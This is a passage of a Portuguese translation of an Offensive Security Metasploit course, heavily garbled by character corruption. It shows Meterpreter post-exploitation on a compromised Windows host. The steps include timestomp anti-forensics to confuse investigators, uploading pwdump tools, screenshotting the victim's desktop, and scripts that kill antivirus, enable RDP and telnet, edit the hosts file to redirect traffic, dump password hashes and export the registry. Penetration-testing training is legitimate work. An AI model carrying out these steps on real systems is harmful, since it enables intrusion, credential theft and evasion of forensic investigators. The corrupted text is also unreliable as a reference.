meter0reter 2 timestom0 test5txt 3f D:U#;<<TUsystemA!U m$5exe 789 Settin* MAD' attri+utes on test5txt from D:U#;<<TUsystemA!U m$5exe meter0reter 2 timestom0 test5txt 3Mo$ifie$ : Tue Ee @H @6:@@:@@ 3@(@@ 1444 A esse$ : Sun May @A @(:1=:(1 3@=@@ !@@4 Dreate$ : Tue Ee @H @6:@@:@@ 3@(@@ 1444 'ntry Mo$ifie$: Sun May @A @(:11:1) 3@=@@ !@@4

G vamos n/s: Agora parece como se o ar(uivo teAt.tAt foi criado em .` de dezembro de T>>>. 8amos ver como ele ol a a partir do Bindo#s.
Lile "at.: D:UEo uments an$ Settin*sU"@#<AEUMy Eo umentsUtest5txt Dreate$ Eate: 1!,H,1444 H:@@:@@ AM Last A esse$: (,A,!@@4 A:11:1) AM Last Mo$ifie$: 1!,H,1444 H:@@:@@ AM

%ucesso: Aviso algumas pe(uenas diferenas entre os tempos atravs do Bindo#s e !%". Esto devido 7 forma como os fusos orrios so eAibidos. Bindo#s est eAibindo a ora em &.\.., en(uanto mostra a !%" vezes como !* &.N... Huando a4ustado para as diferenas de fuso orrio, podemos ver (ue eles correspondem. Alm disso, observe (ue o acto de verificao das informa6es de ar(uivos no Bindo#s alterou a ora do 'ltimo acesso. Esso s/ vai mostrar o (uo frgil vezes pode ser !A*, e por um grande cuidado deve ser tomado (uando interagindo com eles. 8amos agora fazer uma mudana diferente. %e, no eAemplo anterior, n/s estvamos procurando para fazer as mudanas mistura pol Em alguns casos, isso simplesmente no realista, e mel or (ue voc pode esperar tornar mais dif5cil para um investigador para identificar (uando mudanas realmente ocorreu. 2ara essas situa6es, timestomp tem uma /tima opo +&b de branco,, onde os zeros vezes !A* para um ar(uivo. 8amos dar uma ol ada.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

meter0reter 2 timestom0 Mo$ifie$ : Tue Ee A esse$ : Sun May Dreate$ : Tue Ee 'ntry Mo$ifie$: Sun May

test5txt 3@H @6:@@:@@ @A @(:1):!@ @H @6:@@:@@ @A @(:11:1)

3@(@@ 3@=@@ 3@(@@ 3@=@@

1444 !@@4 1444 !@@4

meter0reter 2 timestom0 test5txt 3+ 789 Blan1in* file MAD' attri+utes on test5txt meter0reter 2 timestom0 test5txt 3739 'rror runnin* omman$ timestom0: ;n-ali$ MAD' -alues ,0entest,ex0loits,frame%or1A,li+,rex,0ost,meter0reter,extensions,0ri-,fs5r+:=(:in Z*et>file>ma e',0entest,ex0loits,frame%or1A,li+,rex,0ost,meter0reter,ui, onsole, omman$>$is0at .er ,0ri-,timestom05r+:41:in Z m$>timestom0',0entest,ex0loits,frame%or1A,li+,rex,0arser,ar*uments5r+:)A:in Z0arse',0entest,ex0loits,frame%or1A,li+,rex,0arser,ar*uments5r+:(A:in Zea .>0air',0entest,ex0loits,frame%or1A,li+,rex,0arser,ar*uments5r+:(A:in Z0arse',0entest,ex0loits,frame%or1A,li+,rex,0ost,meter0reter,0a 1et>$is0at .er5r+:H6:in Zea .>%it.>in$ex',0entest,ex0loits,frame%or1A,li+,rex,0arser,ar*uments5r+:==:in Zea .',0entest,ex0loits,frame%or1A,li+,rex,0arser,ar*uments5r+:==:in Zea .>%it.>in$ex',0entest,ex0loits,frame%or1A,li+,rex,0arser,ar*uments5r+:==:in Z0arse',0entest,ex0loits,frame%or1A,li+,rex,0ost,meter0reter,ui, onsole, omman$>$is0at .er,0ri-,ti mestom05r+:)(:in Z m$>timestom0',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:!A=:in Zsen$',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:!A=:in Zrun> omman$',0entest,ex0loits,frame%or1A,li+,rex,0ost,meter0reter,ui, onsole5r+:4=:in Zrun> omman$',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:14):in Zrun>sin*le',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:141:in Zea .',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:141:in Zrun>sin*le',0entest,ex0loits,frame%or1A,li+,rex,0ost,meter0reter,ui, onsole5r+:)@:in Zintera t',0entest,ex0loits,frame%or1A,li+,rex,ui,text,s.ell5r+:1!A:in Z all',0entest,ex0loits,frame%or1A,li+,rex,ui,text,s.ell5r+:1!A:in Zrun',0entest,ex0loits,frame%or1A,li+,rex,0ost,meter0reter,ui, onsole5r+:(6:in Zintera t',0entest,ex0loits,frame%or1A,li+,msf,+ase,sessions,meter0reter5r+:161:in Z>intera t',0entest,ex0loits,frame%or1A,li+,rex,ui,intera ti-e5r+:=6:in Zintera t',0entest,ex0loits,frame%or1A,li+,msf,ui, onsole, omman$>$is0at .er, ore5r+:44H:in Z m$>sessions',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:!A=:in Zsen$',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:!A=:in Zrun> omman$',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:14):in Zrun>sin*le',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:141:in Zea .',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:141:in Zrun>sin*le',0entest,ex0loits,frame%or1A,li+,msf,ui, onsole, omman$>$is0at .er,ex0loit5r+:1=A:in Z m$>ex0loit',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:!A=:in Zsen$',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:!A=:in Zrun> omman$',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:14):in Zrun>sin*le',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:141:in Zea .',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:141:in Zrun>sin*le',0entest,ex0loits,frame%or1A,li+,rex,ui,text,s.ell5r+:1!H:in Zrun'5,msf onsole:6!

Essa mensagem de erro uma coisa boa: 3epois de zerar os tempos !A*, timestomp no p_de analisar as entradas do !A* corretamente depois. Esso muito interessante, como algumas ferramentas mal escritos forenses tm o mesmo problema, e vai fal ar (uando vir atravs de entradas como esta. 8amos ver como o ar(uivo procura no Bindo#s.
Lile "at.: D:UEo uments an$ Settin*sU"@#<AEUMy Eo umentsUtest5txt Dreate$ Eate: 1,1,1)@1 Last A esse$: (,A,!@@4 A:!1:1A AM Last Mo$ifie$: 1,1,1)@1

!uito interessante: Observe (ue os tempos no so mais eAibidos, e os dados est definido para T de 4aneiro de T\.T. Alguma idia de por (ue poderia ser o casoR +3icaL ttpLDDen.#i$ipedia.orgD#i$iDT\.T d 0otas,
meter0reter 2 $ D:UU#;<<T meter0reter 2 m1$ir anti-irus Dreatin* $ire tory: anti-irus meter0reter 2 $ anti-irus

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

meter0reter 2 0%$ D:U#;<<TUanti-irus meter0reter 2 u0loa$ ,0entest,%in$o%s3+inaries,0ass%$3atta 1,0%$um0) :UU#;<<TUUanti-irusUU 789 u0loa$in* : ,0entest,%in$o%s3+inaries,0ass%$3atta 1,0%$um0),"%Eum05exe 32 :#;<<Tanti-irus"%Eum05exe 789 u0loa$e$ : ,0entest,%in$o%s3+inaries,0ass%$3atta 1,0%$um0),"%Eum05exe 32 :#;<<Tanti-irus"%Eum05exe 789 u0loa$in* : ,0entest,%in$o%s3+inaries,0ass%$3atta 1,0%$um0),Lsa'xt5$ll 32 :#;<<Tanti-irusLsa'xt5$ll 789 u0loa$e$ : ,0entest,%in$o%s3+inaries,0ass%$3atta 1,0%$um0),Lsa'xt5$ll 32 :#;<<Tanti-irusLsa'xt5$ll 789 u0loa$in* : ,0entest,%in$o%s3+inaries,0ass%$3atta 1,0%$um0),0%ser-i e5exe 32 :#;<<Tanti-irus0%ser-i e5exe 789 u0loa$e$ : ,0entest,%in$o%s3+inaries,0ass%$3atta 1,0%$um0),0%ser-i e5exe 32 :#;<<Tanti-irus0%ser-i e5exe meter0reter 2 ls Listin*: D:U#;<<TUanti-irus ??????????????????????????? Mo$e SiIe 3333 3333 =@HHH,r%xr%xr%x @ =@HHH,r%xr%xr%x @ 1@@))),r%3r%3r%3 )1==@ 1@@HHH,r%xr%xr%x 166=1) 1@@HHH,r%xr%xr%x =(@() 1@@))),r%3r%3r%3 !H meter0reter 2 $ 55 Ty0e 3333 $ir $ir fil fil fil fil Last mo$ifie$ 3333333333333 #e$ Ee A1 14:@@:@@ #e$ Ee A1 14:@@:@@ #e$ Ee A1 14:@@:@@ #e$ Ee A1 14:@@:@@ #e$ Ee A1 14:@@:@@ #e$ Ee A1 14:@@:@@ <ame 3333 5 55 Lsa'xt5$ll "%Eum05exe 0%ser-i e5exe sam0le5txt

3@(@@ 3@(@@ 3@(@@ 3@(@@ 3@(@@ 3@(@@

14)4 14)4 14)4 14)4 14)4 14)4

*om o nosso upload de ar(uivos, agora vamos correr timestomp sobre os ar(uivos para confundir (ual(uer investigador em potencial.

meter0reter 2 timestom0 anti-irusUU0%$um05exe 3Mo$ifie$ : Sun May @A @(:A(:() 3@=@@ !@@4 A esse$ : Sun May @A @(:A(:() 3@=@@ !@@4 Dreate$ : Sun May @A @(:A(:() 3@=@@ !@@4 'ntry Mo$ifie$: Sun May @A @(:A(:() 3@=@@ !@@4 meter0reter 2 timestom0 anti-irusUULsa'xt5$ll 3Mo$ifie$ : Sun May @A @(:A(:() 3@=@@ !@@4 A esse$ : Sun May @A @(:A(:() 3@=@@ !@@4 Dreate$ : Sun May @A @(:A(:() 3@=@@ !@@4 'ntry Mo$ifie$: Sun May @A @(:A(:() 3@=@@ !@@4 meter0reter 2 timestom0 anti-irus 3r 789 Blan1in* $ire tory MAD' attri+utes on anti-irus meter0reter 2 ls 739 'rror runnin* omman$ ls: +i*num too +i* to on-ert into Zlon*' ,0entest,ex0loits,frame%or1A,li+,rex,0ost,file>stat5r+:)):in Zat',0entest,ex0loits,frame%or1A,li+,rex,0ost,file>stat5r+:)):in Zmtime',0entest,ex0loits,frame%or1A,li+,rex,0ost,meter0reter,ui, onsole, omman$>$is0at .er,st$a0i, fs5r+:!AH:in Z m$>ls',0entest,ex0loits,frame%or1A,li+,rex,0ost,meter0reter,ui, onsole, omman$>$is0at .er,st$a0i ,fs5r+:!A@:in Zea .',0entest,ex0loits,frame%or1A,li+,rex,0ost,meter0reter,ui, onsole, omman$>$is0at .er,st$a0i,f s5r+:!A@:in Z m$>ls',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:!A=:in Zsen$',0entest,ex0loits,frame%or1A,li+,rex,ui,text,$is0at .er>s.ell5r+:!A=:in Zrun> omman$',0entest,ex0loits,frame%or1A,li+,rex,0ost,meter0reter

*omo voc pode ver, meterpreter 4 no pode conseguir uma lista boa. 0o entanto, algo a considerar neste caso. ?emos escondido (uando uma ao ocorreu, no entanto, continuar a ser muito /bvio para um investigador (ue a atividade estava acontecendo. O ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

(ue far5amos se (uisssemos esconder tanto (uando um $it de ferramentas foi enviado, e onde foi carregadoR A maneira mais fcil de abordar esta (uesto zerar os tempos do disco completo. Esso far com (ue o trabal o do investigador muito dif5cil, como a anlise tradicional lin a do tempo no ser poss5vel. 8amos ol ar primeiro em nosso diret/rio BE00?%<stemI= e. O$, tudo parece normal. Agora, vamos sacudir o sistema de ar(uivos at muito ruim:

meter0reter 2 0%$ D:#;<<TUanti-irus meter0reter 2 $ 55,55 meter0reter 2 0%$ D: meter0reter 2 ls Listin*: D:U ???????????? Mo$e 3333 1@@HHH,r%xr%xr%x 1@@))),r%3r%3r%3 =@HHH,r%xr%xr%x 1@@===,r33r33r33 1@@===,r33r33r33 1@@(((,r3xr3xr3x =@(((,r3xr3xr3x =@HHH,r%xr%xr%x =@HHH,r%xr%xr%x =@HHH,r%xr%xr%x 1@@(((,r3xr3xr3x 1@@(((,r3xr3xr3x 1@@))),r%3r%3r%3 1@@===,r33r33r33 1@@))),r%3r%3r%3 SiIe 3333 @ @ @ @ @ A==)6 @ @ @ @ 1=644! 1)!61) 14! !1==1) =@!)(A16= Ty0e 3333 fil fil $ir fil fil fil $ir $ir $ir $ir fil fil fil fil fil Last mo$ifie$ 3333333333333 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 #e$ Ee A1 14:@@:@@ 3@(@@ 14)4 <ame 3333 A&TO'K'D5BAT DO<L;G5SMS Eo uments an$ Settin*s ;O5SMS MSEOS5SMS <TE'T'DT5DOM "ro*ram Liles R'DMDL'R System Jolume ;nformation #;<<T ar l$r5exe ar setu05exe +oot5ini ntl$r 0a*efile5sys

meter0reter 2 timestom0 D:U 3r 789 Blan1in* $ire tory MAD' attri+utes on D:U meter0reter 2 ls 739 'rror runnin* omman$ ls: +i*num too +i* to on-ert into Zlon*' ,0entest,ex0loits,frame%or1A,li+,rex,0ost,file>stat5r+:)):in Zat',0entest,ex0loits,frame%or1A,li+,rex ,0ost,file>stat5r+:)):in Zmtime',0entest,ex0loits,frame%or1A,li+,rex,0ost,meter0reter,ui, onsole, omman$>$is0at .er,st$a0i, fs5r+:!AH:in ,li+,rex,ui,text,$is0at .er>s.ell5r+:141:in Zrun>sin*le',0entest,ex0loits,frame%or1A,li+,rex,ui,text,s.ell5r+:1!H:in Zrun'5,msf onsole:6!

Ento, depois (ue o Bindo#s no vR Amazing. Bindo#s no tem idia do (ue est acontecendo, e eAibe tempos loucos de todo o lugar. 0o fi(ue confiante no entanto. Ao tomar esta ao, voc tambm tm feito muito evidente (ue alguma atividade adversa ocorreu no sistema. Alm disso, eAistem diversas fontes de informao da lin a de tempo em um sistema Bindo#s, em seguida, outras vezes apenas !A*. %e um investigador forense veio atravs de um sistema (ue foi modificado desta forma, eles vo estar em eAecuo para estas fontes de informao alternativas. 0o entanto, o custo da conduo do in(urito ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

s/ subiu. *om a 'ltima atualizao do !etasploit "rame#or$ +I.I,, acrescentou um trabal o bastante notvel da e(uipe de desenvolvimento do !etasploit. 8oc aprendeu nos cap5tulos anteriores o incr5vel poder de meterpreter. Outro recurso adicionado a capacidade de capturar o des$top v5timas e guard&las em seu sistema. 8amos dar uma rpida ol ada em como isso funciona. 8amos supor (ue voc 4 tem um meterpreter console, vamos dar uma ol ada no (ue est na tela v5timas.

789 789 789 789

Starte$ +in$ .an$ler Tryin* tar*et #in$o%s K" S"! 3 'n*lis.555 Sen$in* sta*e (H14A)@ +ytes) Meter0reter session 1 o0ene$ (14!51)65151@1:A=11H 32 14!51)65151@=:====)

meter0reter 2 0s "ro ess list ???????????? ";E 333 16@ !=6 !)@ !6= AA! )1! )!@ )=6 ))= H!6 HA) H() 61) 6A! 4@= 4!6 4H! 46= 11(! 11)= 1!H) 1!4) 1=@= 1(@@ 1)(! 1H4) 141! !@!= !166 !=== A@@= <ame 3333 note0a$5exe snm05exe 'x0lorer5'K' sur*email5exe JM%areSer-i e5exe JM%areTray5exe JM%are&ser5exe tfmon5exe Groo-eMonitor5exe #]DSLER!5exe Gus .e$5exe msms*s5exe smss5exe al*5exe srss5exe %inlo*on5exe ser-i es5exe lsass5exe -ma t.l05exe s- .ost5exe n%aut.5exe s- .ost5exe s- .ost5exe s- .ost5exe s- .ost5exe s0ools-5exe A0roxy5exe Gqs5exe s%at .5exe iex0lore5exe m$5exe "at. 3333 D:U#;<EO#SUsystemA!Unote0a$5exe D:U#;<EO#SUSystemA!Usnm05exe D:U#;<EO#SU'x0lorer5'K' :Usur*emailUsur*email5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%areSer-i e5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%areTray5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%are&ser5exe D:U#;<EO#SUsystemA!U tfmon5exe D:U"ro*ram LilesUMi rosoft Offi eUOffi e1!UGroo-eMonitor5exe D:U"ro*ram LilesUA<;UA<;#]DS! Ser-i eU#]DSLER!5exe D:U"ro*ram LilesURa-aUGre)U+inUGus .e$5exe D:U"ro*ram LilesUMessen*erUmsms*s5exe USystemRootUSystemA!Usmss5exe D:U#;<EO#SUSystemA!Ual*5exe UFFUD:U#;<EO#SUsystemA!U srss5exe UFFUD:U#;<EO#SUsystemA!U%inlo*on5exe D:U#;<EO#SUsystemA!User-i es5exe D:U#;<EO#SUsystemA!Ulsass5exe D:U"ro*ram LilesUJM%areUJM%are ToolsU-ma t.l05exe D:U#;<EO#SUsystemA!Us- .ost5exe :Usur*emailUn%aut.5exe D:U#;<EO#SUsystemA!Us- .ost5exe D:U#;<EO#SUSystemA!Us- .ost5exe D:U#;<EO#SUsystemA!Us- .ost5exe D:U#;<EO#SUsystemA!Us- .ost5exe D:U#;<EO#SUsystemA!Us0ools-5exe D:UA0roxyU+inUA0roxy5exe D:U"ro*ram LilesURa-aUGre)U+inUGqs5exe :Usur*emailUs%at .5exe D:U"ro*ram LilesU;nternet 'x0lorerUiex0lore5exe D:U#;<EO#SUsystemA!U m$5exe

meter0reter 2 mi*rate !)@ 789 Mi*ratin* to !)@555 789 Mi*ration om0lete$ su essfully5 meter0reter 2 use es0ia Loa$in* extension es0ia555su ess5 meter0reter 2 s reens.ot ,tm0,moo5+m0 789 ;ma*e sa-e$ to ,tm0,moo5+m0 O0enin* +ro%ser to ima*e555

2odemos ver como isso foi eficaz na migrao para o eAplorer.eAe, certifi(ue&se (ue o processo est no seu meterpreter tem acesso a des$tops ativo ou no funcionaro. 8amos dar uma ol ada no des$top v5timas. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Meterpreter Scriptin'
9m dos recursos mais poderosos do !eterpreter a versatilidade e facilidade de adicionar novas funcionalidades. Esto realizado atravs do ambiente de scripting !eterpreter. Esta seo ir cobrir a automao de tarefas em uma sesso !eterpreter atravs da utilizao deste meio de script, como voc pode tirar vantagem de scripting !eterpreter, e como escrever seus pr/prios scripts para resolver suas necessidades espec5ficas. Antes de mergul ar em direito, vale a pena cobrir alguns itens. *omo todos os !etasploit "rame#or$, os scripts (ue iremos lidar com est escrito em @ub< e est localizado no diret/rio principal do !etasploit scripts D meterpreter. %e voc no estiver familiarizado com o @ub<, um /timo recurso para aprender @ub< on&line o livro 12rogramming @ub<1 ttpLDD###.rub<central.comDboo$D. Antes de comear, por favor, tome alguns minutos para rever o reposit/rio do subversion atual de scripts !eterpreter em ttpLDDdev.metasploit.comDredmineDpro4ectsDframe#or$Drepositor<Ds o#DscriptsDmeterpreter. Este um /timo recurso para utilizar para ver como os outros esto se aproAimando problemas e, eventualmente, pedir o c/digo (ue possam ser 'teis para voc.

E7istin' Meterpreter Scripts


!etasploit vem com uma tonelada de scripts 'teis (ue podem a4udar voc no !etasploit "rame#or$. Esses scripts so normalmente feitas por terceiros e, finalmente, aprovada no reposit/rio do subversion. 8amos percorrer alguns deles e orient&lo como voc pode us&los em seu pr/prio teste de penetrao. Os scripts a seguir mencionadas, destinados a ser utilizados com uma conc a !eterpreter ap/s o compromisso de sucesso de um destino. 3epois de ter gan o uma sesso com o destino (ue voc pode utilizar estes scripts para mel or atender 7s suas necessidades. O script Kc ec$vm, como o pr/prio nome sugere, verifica se voc eAplorar uma m(uina virtual. Esta informao pode ser muito 'til.
meter0reter 2 run .e 1-m

789 D.e 1in* if SSHADXTH;SBOK3@ is a Jirtual Ma .ine 55555555 789 T.is is a JM%are #or1station,Lusion Jirtual Ma .ine

Os controlos 1getcountermeasure Kscript da configurao de segurana no sistema de v5timas e pode desativar as medidas de segurana, tais como A D 8, "ire#all e, muito mais. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

meter0reter 2 run *et ountermeasure 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 Runnin* Get ountermeasure on t.e tar*et555 D.e 1in* for ontermeasures555 Gettin* #in$o%s Built in Lire%all onfi*uration555 Eomain 0rofile onfi*uration: 3333333333333333333333333333333333333333333333333333333333333333333 O0erational mo$e ? Eisa+le 'x e0tion mo$e ? 'na+le Stan$ar$ 0rofile onfi*uration: 3333333333333333333333333333333333333333333333333333333333333333333 O0erational mo$e ? Eisa+le 'x e0tion mo$e ? 'na+le Lo al Area Donne tion ) fire%all onfi*uration: 3333333333333333333333333333333333333333333333333333333333333333333 O0erational mo$e ? Eisa+le D.e 1in* E'" Su00ort "oli y555

O 1script getgui K usado para permitir @32 em um sistema alvo se ele est desativado.
meter0reter 2 run *et*ui #in$o%s Remote Ees1to0 'na+ler Meter0reter S ri0t &sa*e: *et*ui 3u 30 O"T;O<S: 3e 3. 30 3u 'na+le RE" only5 Hel0 menu5 T.e "ass%or$ of t.e user to a$$5 T.e &sername of t.e user to a$$5

meter0reter 2 run *et*ui 3e 789 789 789 789 789 789 789 #in$o%s Remote Ees1to0 Donfi*uration Meter0reter S ri0t +y Ear1o0erator Darlos "ereI arlos>0ereIS$ar1o0erator5 om 'na+lin* Remote Ees1to0 RE" is alrea$y ena+le$ Settin* Terminal Ser-i es ser-i e startu0 mo$e Terminal Ser-i es ser-i e is alrea$y set to auto O0enin* 0ort in lo al fire%all if ne essary

O 1script gettelnet K usado para abilitar telnet 7 v5tima se ela est desativada.
meter0reter 2 run *ettelnet

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

#in$o%s Telnet Ser-er 'na+ler Meter0reter S ri0t &sa*e: *ettelnet 3u 30 O"T;O<S: 3e 3. 30 3u 'na+le Telnet Ser-er only5 Hel0 menu5 T.e "ass%or$ of t.e user to a$$5 T.e &sername of t.e user to a$$5

meter0reter 2 run *ettelnet 3e 789 789 789 555 789 #in$o%s Telnet Ser-er 'na+ler Meter0reter S ri0t Settin* Telnet Ser-er Ser-i es ser-i e startu0 mo$e T.e Telnet Ser-er Ser-i es ser-i e is not set to autoB O0enin* 0ort in lo al fire%all if ne essary

.an*in* it to auto

O script K$illavK pode ser usado para desativar os programas antiv5rus mais funcionando como um servio em um alvo.
meter0reter 2 run 1illa789 Xillin* Anti-irus ser-i es on t.e tar*et555 789 Xillin* off m$5exe555

O 1script get[local[subnets K usado para obter a mscara de sub&rede local da v5tima. Esto pode ser muito 'til para ter informa6es de giro.
meter0reter 2 run *et>lo al>su+nets Lo al su+net: 1@5!115((5@,!((5!((5!((5@

O script K ostseditK !eterpreter para adicionar entradas no ar(uivo )osts do Bindo#s. 3esde (ue o Bindo#s ir verificar o ar(uivo osts primeira vez do servidor de 30% configurado, ele vai a4udar a desviar o trfego para uma entrada falsa ou entradas. Ou uma 'nica entrada pode ser fornecida ou uma srie de entradas podem ser fornecidos com um ar(uivo (ue contm uma entrada por lin a.
meter0reter 2 run .ostse$it

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

O"T;O<S: 3e Host entry in t.e format of ;"BHostname5 3. Hel0 O0tions5 3l Text file %it. list of entries in t.e format of ;"BHostname5 One 0er line5 'xam0le: run .ostse$it 3e 1!H5@5@51B*oo*le5 om run .ostse$it 3l ,tm0,fa1e$nsentries5txt meter0reter 2 run .ostse$it 3e 1@5!115((51)!B%%%5mi rosoft5 om 789 Ma1in* Ba 1u0 of t.e .osts file5 789 Ba 1u0 loa ate$ in D:U#;<EO#SUSystemA!U$ri-ersUet U.osts)!=4H5+a 1 789 A$$in* Re or$ for Host %%%5mi rosoft5 om %it. ;" 1@5!115((51)! 789 Dlearin* t.e E<S Da .e

O script Kremote#inenum 1ir enumerar as informa6es do sistema atravs #mic na v5tima. ?ome nota de onde os registros so armazenados.
meter0reter 2 run remote%inenum Remote #in$o%s 'numeration Meter0reter S ri0t T.is s ri0t %ill enumerate %in$o%s .osts in t.e tar*et en-ironment *i-en a username an$ 0ass%or$ or usin* t.e re$ential un$er %it . Meter0reter is runnin* usin* #M; %mi %in$o%s nati-e tool5 &sa*e: O"T;O<S: 3. Hel0 menu5 30 "ass%or$ of user on tar*et system 3t T.e tar*et a$$ress 3u &ser on t.e tar*et system (;f not 0ro-i$e$ it %ill use 0ro ess)

re$ential of

meter0reter 2 run remote%inenum 3u a$ministrator 30 i.aI0ass%or$ 3t 1@5!115((51!6 789 Sa-in* re0ort to ,root,5msfA,lo*s,remote%inenum,1@5!115((51!6>!@@4@H115@1=! 789 Runnin* #M;D Domman$s 5555 789 runnin* omman$ %imi en-ironment list 789 runnin* omman$ %imi s.are list 789 runnin* omman$ %imi ni onfi* list 789 runnin* omman$ %imi om0utersystem list 789 runnin* omman$ %imi usera ount list 789 runnin* omman$ %imi *rou0 list 789 runnin* omman$ %imi sysa ount list 789 runnin* omman$ %imi -olume list +rief 789 runnin* omman$ %imi lo*i al$is1 *et $es ri0tionBfilesystemBnameBsiIe

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 runnin* omman$ %imi netlo*in *et nameBlastlo*onB+a$0ass%or$ ount 789 runnin* omman$ %imi net lient list +rief 789 runnin* omman$ %imi netuse *et nameBusernameB onne tionty0eBlo alname 789 runnin* omman$ %imi s.are *et nameB0at. 789 runnin* omman$ %imi nte-entlo* *et 0at.BfilenameB%ritea+le 789 runnin* omman$ %imi ser-i e list +rief 789 runnin* omman$ %imi 0ro ess list +rief 789 runnin* omman$ %imi startu0 list full 789 runnin* omman$ %imi r$to**le list 789 runnin* omman$ %imi 0ro$u t *et nameB-ersion 789 runnin* omman$ %imi qfe list

O 1script #inenum1 torna&se uma ferramenta muito detal ada enumerao 4anelas. Q to$ens liAeiras, as es e muito mais.
meter0reter 2 run %inenum 789 Runnin* #in$o%s Lo al 'numerion Meter0reter S ri0t 789 <e% session on 1@5!115((51!6:====555 789 Sa-in* re0ort to ,root,5msfA,lo*s,%inenum,1@5!115((51!6>!@@4@H115@(1=3 44!H1,1@5!115((51!6>!@@4@H115@(1=344!H15txt 789 D.e 1in* if SSHADXTH;SBOK3@ is a Jirtual Ma .ine 55555555 789 T.is is a JM%are #or1station,Lusion Jirtual Ma .ine 789 Runnin* Domman$ List 555 789 runnin* omman$ m$5exe , set 789 runnin* omman$ ar0 3a 789 runnin* omman$ i0 onfi* ,all 789 runnin* omman$ i0 onfi* ,$is0lay$ns 789 runnin* omman$ route 0rint 789 runnin* omman$ net -ie% 789 runnin* omman$ netstat 3nao 789 runnin* omman$ netstat 3-+ 789 runnin* omman$ netstat 3ns 789 runnin* omman$ net a ounts 789 runnin* omman$ net a ounts ,$omain 789 runnin* omman$ net session 789 runnin* omman$ net s.are 789 runnin* omman$ net *rou0 789 runnin* omman$ net user 789 runnin* omman$ net lo al*rou0 789 runnin* omman$ net lo al*rou0 a$ministrators 789 runnin* omman$ net *rou0 a$ministrators 789 runnin* omman$ net -ie% ,$omain 789 runnin* omman$ nets. fire%all s.o% onfi* 789 runnin* omman$ tas1list ,s789 runnin* omman$ tas1list ,m 789 runnin* omman$ *0result ,SDO"' DOM"&T'R ,] 789 runnin* omman$ *0result ,SDO"' &S'R ,] 789 Runnin* #M;D Domman$s 5555 789 runnin* omman$ %mi om0utersystem list +rief 789 runnin* omman$ %mi usera ount list 789 runnin* omman$ %mi *rou0 list 789 runnin* omman$ %mi ser-i e list +rief 789 runnin* omman$ %mi -olume list +rief 789 runnin* omman$ %mi lo*i al$is1 *et $es ri0tionBfilesystemBnameBsiIe

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789 789

runnin* omman$ %mi netlo*in *et nameBlastlo*onB+a$0ass%or$ ount runnin* omman$ %mi net lient list +rief runnin* omman$ %mi netuse *et nameBusernameB onne tionty0eBlo alname runnin* omman$ %mi s.are *et nameB0at. runnin* omman$ %mi nte-entlo* *et 0at.BfilenameB%ritea+le runnin* omman$ %mi 0ro ess list +rief runnin* omman$ %mi startu0 list full runnin* omman$ %mi r$to**le list runnin* omman$ %mi 0ro$u t *et nameB-ersion runnin* omman$ %mi qfe 'xtra tin* soft%are list from re*istry Linis.e$ 'xtra tion of soft%are list from re*istry Eum0in* 0ass%or$ .as.es555 Has.es Eum0e$ Gettin* To1ens555 All to1ens .a-e +een 0ro esse$ Eone/

O script 1scraper1 pode pegar informa6es sobre o sistema ainda mais, incluindo o registro inteiro.
meter0reter 2 run s ra0er 789 789 789 789 789 789 789 789 789 <e% session on 1@5!115((51!6:====555 Gat.erin* +asi system information555 Eum0in* 0ass%or$ .as.es555 O+tainin* t.e entire re*istry555 'x0ortin* HXD& Eo%nloa$in* HXD& (D:U#;<EO#SUT'M"UL^T'.;qo5re*) Dleanin* HXD& 'x0ortin* HXLM Eo%nloa$in* HXLM (D:U#;<EO#SUT'M"UGHM&$J#t5re*)

A partir de nossos eAemplos acima, podemos ver (ue uma abundFncia de scripts !eterpreter para n/s enumerar uma tonelada de informa6es, desativar anti&v5rus para n/s, permitir @32, e muito mais.

